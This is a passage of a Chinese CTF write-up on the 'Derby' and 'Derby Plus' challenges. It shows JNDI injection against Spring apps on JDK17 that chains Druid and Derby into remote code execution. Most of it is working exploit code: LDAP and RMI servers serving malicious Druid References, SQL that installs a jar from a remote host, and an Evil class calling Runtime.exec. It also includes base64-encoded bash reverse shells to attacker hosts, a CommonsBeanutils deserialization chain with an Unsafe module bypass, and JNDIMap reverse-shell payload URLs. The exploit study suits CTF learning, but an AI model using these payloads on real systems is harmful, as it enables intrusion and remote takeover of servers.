ref.add(new StringRefAddr("init", "true"));

但是这道题没有 H2 的依赖, 只有 Derby ,如何实现 RCE?

众所周知关于 Derby 的 JDBC 攻击思路大都是通过主从复制 (slaveHost/slavePort) 实现反序列化

但这道题并不是考察主从复制, 更何况 JNDI 本身也能够反序列化, 没有意义

思路就是第二篇文章, 通过 Derby SQL 加载远程 jar, 再调用 jar 内的方法, 实现 RCE (仔细阅读 Derby 的官方文档也可以发现)

那么必须得有个执行 SQL 的点, 上面的 H2 在 JDBC URL 内有 INIT 参数, 但是 Derby 没有这样的参数

这步其实就需要大家仔细阅读 DruidDataSourceFactory 的源码, 或者 Druid 的官方文档, 不难发现存在 initConnectionSqls 参数

不过这些参数并不是写在 JDBC URL 里面, 而是跟上面的 driverClassName, url, username, password 一样, 写在 StringRefAddr 里面

StringRefAddr 只能传入字符串, 那么 initConnectionSqls 内的 SQL 语句就需要用分号分割

构造如下 payload

package ***.example;

import ***.unboundid.ldap.listener.InMemoryDirectoryServer;
import ***.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import ***.unboundid.ldap.listener.InMemoryListenerConfig;
import ***.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import ***.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import ***.unboundid.ldap.sdk.Entry;
import ***.unboundid.ldap.sdk.LDAPResult;
import ***.unboundid.ldap.sdk.ResultCode;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.***.ServerSocketFactory;
import javax.***.SocketFactory;
import javax.***.ssl.SSLSocketFactory;
import java.***.I***Address;
import java.util.ArrayList;
import java.util.List;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=***";

    public static void main(String[] args) {

        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    I***Address.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor());
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);

            e.addAttribute("javaClassName", "foo");
            try {
                List<String> list = new ArrayList<>();
                list.add("CALL SQLJ.INSTALL_JAR('http://host.docker.internal:8000/Evil.jar', 'APP.Evil', 0)");
                list.add("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil')");
                list.add("CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec'");
                list.add("CALL cmd('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rj***9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}')");

                Reference ref = new Reference("javax.sql.DataSource", "***.alibaba.druid.pool.DruidDataSourceFactory", null);
                ref.add(new StringRefAddr("url", "jdbc:derby:webdb;create=true"));
                ref.add(new StringRefAddr("init", "true"));
                ref.add(new StringRefAddr("initialSize", "1"));
                ref.add(new StringRefAddr("initConnectionSqls", String.join(";", list)));

                e.addAttribute("javaSerializedData", SerializeUtil.serialize(ref));

                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SU***ESS));
            } catch (Exception exception) {
                exception.printStackTrace();
            }
        }
    }
}

准备一个 Evil.java

public class Evil {
    public static void exec(String cmd) throws Exception {
        Runtime.getRuntime().exec(cmd);
    }
}

目录结构

$ tree .
.
└── src
    └── Evil.java

2 directories, 1 file

编译 + 打包成 jar

javac src/Evil.java
jar -cvf Evil.jar -C src/ .

将 Evil.jar 使用 Web Server 托管, 然后启动 LDAP Server, 最后访问 url

http://127.0.0.1:10800/lookup?url=ldap://host.docker.internal:1389/a

这种通过 JNDI 实现 Derby SQL RCE 的方法被我集成到了 JNDIMap 里面

项目地址: GitHub - X1r0z/JNDIMap: JNDI 注入利用工具, 支持 RMI 和 LDAP 协议, 包含多种高版本 JDK 绕过方式JNDI 注入利用工具, 支持 RMI 和 LDAP 协议, 包含多种高版本 JDK 绕过方式. Contribute to X1r0z/JNDIMap development by creating an a***ount on GitHub.https://github.***/X1r0z/JNDIMap

payload

# 1. 加载远程 jar 并创建相关存储过程 (会自动创建数据库)
ldap://127.0.0.1:1389/Druid/Derby/Install/<database>

# 2. 执行命令/原生反弹 Shell
ldap://127.0.0.1:1389/Druid/Derby/***mand/<database>/open -a Calculator
ldap://127.0.0.1:1389/Druid/Derby/ReverseShell/<database>/ReverseShell/127.0.0.1/4444

# 3. 删除数据库以释放内存
ldap://127.0.0.1:1389/Druid/Derby/Drop/<database>

法二:

Derby + Druid 高版本 JNDI JDBC Attack
又到了Java Time,当时晚上写这题的时候还踩了点坑,主要就是JDK17那个大坑,我就是不信邪,我就是想用Derby的readObject去打Jackson链,但其实现在想想一点都不可能,因为JDK限制了module

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower de***piler)
//

package ***.example.derby;

import javax.naming.Context;
import javax.naming.InitialContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
    public IndexController() {
    }

    @RequestMapping({"/"})
    public String index() {
        return "hello derby";
    }

    @RequestMapping({"/lookup"})
    public String lookup(@RequestParam String url) throws Exception {
        Context ctx = new InitialContext();
        ctx.lookup(url);
        return "ok";
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower de***piler)
//

package ***.example.derby;

import javax.naming.Context;
import javax.naming.InitialContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
    public IndexController() {
    }

    @RequestMapping({"/"})
    public String index() {
        return "hello derby";
    }

    @RequestMapping({"/lookup"})
    public String lookup(@RequestParam String url) throws Exception {
        Context ctx = new InitialContext();
        ctx.lookup(url);
        return "ok";
    }
}

很干脆的一个JNDI入口点lookup。但JDK17,在这个环境下还是需要利用一些额外的类去绕过,在Tomcat某些版本是可以BeanFactory配合EL去实现命令执行的,这里是Druid,也可以绕过。
DruidDataSourceFactory#getObjectInstance

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        if (obj != null && obj instanceof Reference) {
            Reference ref = (Reference)obj;
            if (!"javax.sql.DataSource".equals(ref.getClassName()) && !"***.alibaba.druid.pool.DruidDataSource".equals(ref.getClassName())) {
                return null;
            } else {
                Properties properties = new Properties();

                for(int i = 0; i < ALL_PROPERTIES.length; ++i) {
                    String propertyName = ALL_PROPERTIES[i];
                    RefAddr ra = ref.get(propertyName);
                    if (ra != null) {
                        String propertyValue = ra.getContent().toString();
                        properties.setProperty(propertyName, propertyValue);
                    }
                }

                return this.createDataSourceInternal(properties);
            }
        } else {
            return null;
        }
    }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        if (obj != null && obj instanceof Reference) {
            Reference ref = (Reference)obj;
            if (!"javax.sql.DataSource".equals(ref.getClassName()) && !"***.alibaba.druid.pool.DruidDataSource".equals(ref.getClassName())) {
                return null;
            } else {
                Properties properties = new Properties();

                for(int i = 0; i < ALL_PROPERTIES.length; ++i) {
                    String propertyName = ALL_PROPERTIES[i];
                    RefAddr ra = ref.get(propertyName);
                    if (ra != null) {
                        String propertyValue = ra.getContent().toString();
                        properties.setProperty(propertyName, propertyValue);
                    }
                }

                return this.createDataSourceInternal(properties);
            }
        } else {
            return null;
        }
    }

在这里有一个createDataSourceInternal操作
 


在这个config方法最后会调用init方法
 


在这里会有createPhysicalConnection方法
 


最终在里面发起了JDBC连接。
 


这时候就回到了JDBC-ATTACK的利用了
JDBC-Attack 利用汇总 - Boogiepop Doesn’t Laughhttps://boogipop.***/2023/10/01/JDBC-Attack%20%E5%88%A9%E7%94%A8%E6%B1%87%E6%80%BB/
假如在这里有h2数据库的driver那就可以直接RCE,但很遗憾是没有的并且题目提示打derby。我一开始去想到的是derby的readobject,但实际上并不是,这里需要自己寻找一下。回到config方法,你会发现有一些初始化操作
 


而这里我们效仿h2,也寻找是否有初始化的sql语句,到这里就转变为了sql可控的注入。而derby数据库也是可以加载Jar包的
derby数据库如何实现RCE - lvyyevd's 安全博客前言前段时间遇到了一个后台可以操作数据库语句的地方,且使用的数据库为derby,derby数据库可以作为内嵌数据库,要知道H2数据库可以利用alias别名,调用java代码进行命令执行。猜测derby数据库也有相应功能,一直翻阅官方文档,终于找到了一种RCE利用方式(应该还没有人发吧),在这里记录一http://www.lvyyevd.***/archives/derby-shu-ju-ku-ru-he-shi-xian-rce

## 导入一个类到数据库中
CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar', 'APP.Sample4', 0)

## 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')

## 创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static类型方法
CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec'

## 调用PROCEDURE
CALL SALES.TOTAL_REVENUES()
1
2
3
4
5
6
7
8
9
10
11
## 导入一个类到数据库中
CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar', 'APP.Sample4', 0)

## 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')

## 创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static类型方法
CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec'

## 调用PROCEDURE
CALL SALES.TOTAL_REVENUES()

那么最终poc就如下了:

package ***.javasec.pocs.solutions.n1junior;

import ***.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class DerbyEvilServer {
    public static void main(String[] args) {
        try{
            //Registry registry = LocateRegistry.getRegistry(8883);
            Registry registry = LocateRegistry.createRegistry(8883);
            Reference ref = new Reference("javax.sql.DataSource","***.alibaba.druid.pool.DruidDataSourceFactory",null);
            String JDBC_URL = "jdbc:derby:dbname;create=true";
            String JDBC_USER = "root";
            String JDBC_PASSWORD = "password";

            ref.add(new StringRefAddr("driverClassName","org.apache.derby.jdbc.EmbeddedDriver"));
            ref.add(new StringRefAddr("url",JDBC_URL));
            ref.add(new StringRefAddr("username",JDBC_USER));
            ref.add(new StringRefAddr("password",JDBC_PASSWORD));
            ref.add(new StringRefAddr("initialSize","1"));
            ref.add(new StringRefAddr("initConnectionSqls","CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();"));
            ref.add(new StringRefAddr("init","true"));
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

            registry.bind("pop",referenceWrapper);
        }
        catch(Exception e){
            e.printStackTrace();
        }
    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package ***.javasec.pocs.solutions.n1junior;

import ***.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class DerbyEvilServer {
    public static void main(String[] args) {
        try{
            //Registry registry = LocateRegistry.getRegistry(8883);
            Registry registry = LocateRegistry.createRegistry(8883);
            Reference ref = new Reference("javax.sql.DataSource","***.alibaba.druid.pool.DruidDataSourceFactory",null);
            String JDBC_URL = "jdbc:derby:dbname;create=true";
            String JDBC_USER = "root";
            String JDBC_PASSWORD = "password";

            ref.add(new StringRefAddr("driverClassName","org.apache.derby.jdbc.EmbeddedDriver"));
            ref.add(new StringRefAddr("url",JDBC_URL));
            ref.add(new StringRefAddr("username",JDBC_USER));
            ref.add(new StringRefAddr("password",JDBC_PASSWORD));
            ref.add(new StringRefAddr("initialSize","1"));
            ref.add(new StringRefAddr("initConnectionSqls","CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();"));
            ref.add(new StringRefAddr("init","true"));
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

            registry.bind("pop",referenceWrapper);
        }
        catch(Exception e){
            e.printStackTrace();
        }
    }
}

制作恶意jar包如下:

import java.io.IOException;

public class testShell4 {
    public static void exec() throws IOException {
        Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rj***84LjEzMC4yNC4xODgvNzc3NSA8JjE=}|{base64,-d}|{bash,-i}");
    }
1
2
3
4
5
6
7
import java.io.IOException;

public class testShell4 {
    public static void exec() throws IOException {
        Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rj***84LjEzMC4yNC4xODgvNzc3NSA8JjE=}|{base64,-d}|{bash,-i}");
    }
}

最后可以看到反弹shell
 

Derby Plus

法一:

这道题跟 Derby 的思路其实是一样的, 最终都是通过 JNDI 打 Derby SQL RCE

不同点在于这道题没有直接给出 JNDI 注入的点, 但是给出了 CB 链, 需要大家通过 CB 链构造一个 JNDI 注入

pom.xml 依赖

<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
    </dependency>
    <dependency>
        <groupId>***mons-beanutils</groupId>
        <artifactId>***mons-beanutils</artifactId>
        <version>1.8.3</version>
    </dependency>
    <dependency>
        <groupId>***.alibaba</groupId>
        <artifactId>druid</artifactId>
        <version>1.2.21</version>
    </dependency>
    <dependency>
        <groupId>org.apache.derby</groupId>
        <artifactId>derby</artifactId>
        <version>10.14.2.0</version>
    </dependency>
</dependencies>

当然还是那句话, 因为模块化的访问机制导致不能用 CB/Jackson + TemplatesImpl/JdbcRowSetImpl 一把梭

这道题考察的也是一个非常经典的位于 Java 标准库的利用链: LdapAttribute

https://xz.aliyun.***/t/9126https://xz.aliyun.***/t/9126

https://xz.aliyun.***/t/12910https://xz.aliyun.***/t/12910

反序列化新的Gadget:***.sun.jndi.ldap.LdapAttribute-CSDN博客文章浏览阅读930次。这个CTF是1.4的Java。同时由于这个类在1.8中依然存在,所以也可以在1.8利用:一些新手可能会被 ysoserial 里标注的利用链依赖库版本所迷惑,认为某个链就只能在对应标注的依赖版本下起作用,其实并非如此。像 ysoserial 里 ***monsBeanutils1 这个链,作者标注的依赖版本是:***mons-beanutils:1.9.2, ***mons-collections:3.1, ***mons-logging:1.2但这些版本实际上反映的只是 ysoserial 作者在_***.sun.jndi.ldap.ldapattributehttps://blog.csdn.***/caiqiiqi/article/details/112602151

payload

Class clazz = Class.forName("***.sun.jndi.ldap.LdapAttribute");
Constructor constructor = clazz.getDeclaredConstructor(String.class);
constructor.setA***essible(true);
Object obj = constructor.newInstance("name");

ReflectUtil.setFieldValue(obj, "baseCtxURL", "ldap://host.docker.internal:1389/");
ReflectUtil.setFieldValue(obj, "rdn", new ***positeName("a/b"));

Bean***parator bean***parator = new Bean***parator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, bean***parator);
priorityQueue.add("1");
priorityQueue.add("1");

bean***parator.setProperty("attributeDefinition");
ReflectUtil.setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});

System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(priorityQueue)));

后续流程跟上面 Derby 题目一样

法二:(具体分析)

Druiddatasource getter gadgets + JDBC Attack
入口点变成了反序列化

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower de***piler)
//

package ***.example.derbyplus;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
    public IndexController() {
    }

    @RequestMapping({"/"})
    public String index() {
        return "hello derby plus";
    }

    @RequestMapping({"/deserialize"})
    public String deserialize(@RequestBody String body) throws Exception {
        byte[] data = Base64.getDecoder().decode(body);
        ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(data));

        try {
            input.readObject();
        } catch (Throwable var7) {
            try {
                input.close();
            } catch (Throwable var6) {
                var7.addSuppressed(var6);
            }

            throw var7;
        }

        input.close();
        return "ok";
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower de***piler)
//

package ***.example.derbyplus;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
    public IndexController() {
    }

    @RequestMapping({"/"})
    public String index() {
        return "hello derby plus";
    }

    @RequestMapping({"/deserialize"})
    public String deserialize(@RequestBody String body) throws Exception {
        byte[] data = Base64.getDecoder().decode(body);
        ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(data));

        try {
            input.readObject();
        } catch (Throwable var7) {
            try {
                input.close();
            } catch (Throwable var6) {
                var7.addSuppressed(var6);
            }

            throw var7;
        }

        input.close();
        return "ok";
    }
}

并且给了cb依赖
 


已经是赤裸裸的在勾引了。打一个getter去触发getconnection,所以都不需要思考就找到了
DruidDataSource#getConnection
 


并且这里刚好就有init方法,我们可以同样去打jdbc然后rce。

package org.example;

import ***.alibaba.druid.pool.DruidDataSource;
import org.apache.***mons.beanutils.Bean***parator;
import sun.misc.Unsafe;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;

public class DerbyPlusExp {
    public static void main(String[] args) throws Exception {
        final ArrayList<Class> classes = new ArrayList<>();
        classes.add(Class.forName("java.lang.reflect.Field"));
        classes.add(Class.forName("java.lang.reflect.Method"));
        classes.add(Class.forName("java.util.HashMap"));
        classes.add(Class.forName("java.util.Properties"));
        classes.add(Class.forName("java.util.PriorityQueue"));
        classes.add(Class.forName("org.apache.***mons.beanutils.Bean***parator"));
        classes.add(Class.forName("***.alibaba.druid.pool.DruidDataSource"));
        new DerbyPlusExp().bypassModule(classes);
        DruidDataSource druidDataSource = new DruidDataSource();
        druidDataSource.setUrl("jdbc:derby:dbname;create=true");
        druidDataSource.setDriverClassName("org.apache.derby.jdbc.EmbeddedDriver");
        druidDataSource.setInitialSize(1);
        StringTokenizer tokenizer = new StringTokenizer("CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();", ";");
        druidDataSource.setConnectionInitSqls(Collections.list(tokenizer));
        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        //bypass PriorityQueue对druidDataSource的module限制,因为存在调用
        Field field = unsafeClass.getDeclaredField("theUnsafe");
        field.setA***essible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        Module baseModule = druidDataSource.getClass().getModule();
        Class currentClass = PriorityQueue.class;
        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.putObject(currentClass, offset, baseModule);
        final Bean***parator ***parator = new Bean***parator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, ***parator);
        // stub data for replacement later
        queue.add("1");
        queue.add("2");
        setFieldValue(***parator, "property", "connection");
        setFieldValue(druidDataSource,"logWriter",null);
        setFieldValue(druidDataSource,"statLogger",null);
        setFieldValue(druidDataSource,"transactionHistogram",null);
        setFieldValue(druidDataSource,"initedLatch",null);
        setFieldValue(queue, "queue", new Object[]{druidDataSource, druidDataSource});
        String s = base64serial(queue);
        s.replace("+","%2b");
        System.out.println(s);
        deserTester(queue);
    }
    private static Method getMethod(Class clazz, String methodName, Class[]
            params) {
        Method method = null;
        while (clazz!=null){
            try {
                method = clazz.getDeclaredMethod(methodName,params);
                break;
            }catch (NoSuchMethodException e){
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }
    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setA***essible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }
    public void bypassModule(ArrayList<Class> classes){
        try {
            Unsafe unsafe = getUnsafe();
            Class currentClass = this.getClass();
            try {
                Method getModuleMethod = getMethod(Class.class, "getModule", new
                        Class[0]);
                if (getModuleMethod != null) {
                    for (Class aClass : classes) {
                        Object targetModule = getModuleMethod.invoke(aClass, new
                                Object[]{});
                        unsafe.getAndSetObject(currentClass,
                                unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                    }
                }
            }catch (Exception e) {
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static void deserTester(Object o) throws Exception {
        base64deserial(base64serial(o));
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.setA***essible(true);
        if(field != null) {
            field.set(obj, value);
        }
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setA***essible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
    public static void base64deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
    public static String base64serial(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
package org.example;

import ***.alibaba.druid.pool.DruidDataSource;
import org.apache.***mons.beanutils.Bean***parator;
import sun.misc.Unsafe;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;

public class DerbyPlusExp {
    public static void main(String[] args) throws Exception {
        final ArrayList<Class> classes = new ArrayList<>();
        classes.add(Class.forName("java.lang.reflect.Field"));
        classes.add(Class.forName("java.lang.reflect.Method"));
        classes.add(Class.forName("java.util.HashMap"));
        classes.add(Class.forName("java.util.Properties"));
        classes.add(Class.forName("java.util.PriorityQueue"));
        classes.add(Class.forName("org.apache.***mons.beanutils.Bean***parator"));
        classes.add(Class.forName("***.alibaba.druid.pool.DruidDataSource"));
        new DerbyPlusExp().bypassModule(classes);
        DruidDataSource druidDataSource = new DruidDataSource();
        druidDataSource.setUrl("jdbc:derby:dbname;create=true");
        druidDataSource.setDriverClassName("org.apache.derby.jdbc.EmbeddedDriver");
        druidDataSource.setInitialSize(1);
        StringTokenizer tokenizer = new StringTokenizer("CALL SQLJ.INSTALL_JAR('http://8.130.24.188:8888/test3.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();", ";");
        druidDataSource.setConnectionInitSqls(Collections.list(tokenizer));
        Class unsafeClass = Class.forName("sun.misc.Unsafe");
        //bypass PriorityQueue对druidDataSource的module限制,因为存在调用
        Field field = unsafeClass.getDeclaredField("theUnsafe");
        field.setA***essible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        Module baseModule = druidDataSource.getClass().getModule();
        Class currentClass = PriorityQueue.class;
        long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.putObject(currentClass, offset, baseModule);
        final Bean***parator ***parator = new Bean***parator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, ***parator);
        // stub data for replacement later
        queue.add("1");
        queue.add("2");
        setFieldValue(***parator, "property", "connection");
        setFieldValue(druidDataSource,"logWriter",null);
        setFieldValue(druidDataSource,"statLogger",null);
        setFieldValue(druidDataSource,"transactionHistogram",null);
        setFieldValue(druidDataSource,"initedLatch",null);
        setFieldValue(queue, "queue", new Object[]{druidDataSource, druidDataSource});
        String s = base64serial(queue);
        s.replace("+","%2b");
        System.out.println(s);
        deserTester(queue);
    }
    private static Method getMethod(Class clazz, String methodName, Class[]
            params) {
        Method method = null;
        while (clazz!=null){
            try {
                method = clazz.getDeclaredMethod(methodName,params);
                break;
            }catch (NoSuchMethodException e){
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }
    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setA***essible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }
    public void bypassModule(ArrayList<Class> classes){
        try {
            Unsafe unsafe = getUnsafe();
            Class currentClass = this.getClass();
            try {
                Method getModuleMethod = getMethod(Class.class, "getModule", new
                        Class[0]);
                if (getModuleMethod != null) {
                    for (Class aClass : classes) {
                        Object targetModule = getModuleMethod.invoke(aClass, new
                                Object[]{});
                        unsafe.getAndSetObject(currentClass,
                                unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                    }
                }
            }catch (Exception e) {
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    public static void deserTester(Object o) throws Exception {
        base64deserial(base64serial(o));
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.setA***essible(true);
        if(field != null) {
            field.set(obj, value);
        }
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setA***essible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
    public static void base64deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
    public static String base64serial(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }
}

环境是JDK17,注意一下payload生成。
 


 


这里需要学习的点就是jdk17如何bypass module的限制,这一点其实早在Kcon2021 Beichen师傅就已经提出了,也是学到了很多。

总结

